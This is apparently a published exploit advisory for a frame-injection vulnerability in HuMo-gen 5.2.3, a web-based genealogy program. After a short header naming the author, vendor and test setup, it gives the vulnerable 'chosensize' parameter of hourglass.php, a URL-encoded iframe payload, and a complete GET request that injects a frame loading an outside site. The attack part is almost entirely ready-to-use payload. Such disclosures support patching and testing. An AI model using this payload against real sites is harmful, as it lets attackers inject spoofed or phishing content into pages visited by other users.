HumoGEN - ’chosensize’ Frame Inj.

===========================================================================================
# Exploit Title: HumoGEN - ’chosensize’ Frame Inj.
# Dork: N/A
# Date: 08-04-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://www.humo-gen.com/
# Software Link: https://sourceforge.net/projects/humo-gen/
# Version: v5.2.3
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Descr*iption: HuMo-gen is an open-source server-side genealogy program, that dynamically
  displays genealogical data from a MySQL database as a website with numerous reports and charts.
  Webmasters can do online editing and users may choose from several languages.
===========================================================================================
# POC - Frame Inj. 
# Parameters : chosensize
# Attack Pattern : %3ciframe+src%3d“http%3a%2f%2fCyber-Warrior.org%2f%3f“%3e%3c%2fiframe%3e 
# GET Method : http://localhost/HuMogen523/hourglass.php?id=F2&main_person=I4&direction=1&database=humo_&chosensize=<iframe src=http://Cyber-warrior.org/?></iframe>&chosengen=4&chosengenanc=3&screen_mode=HOUR
===========================================================================================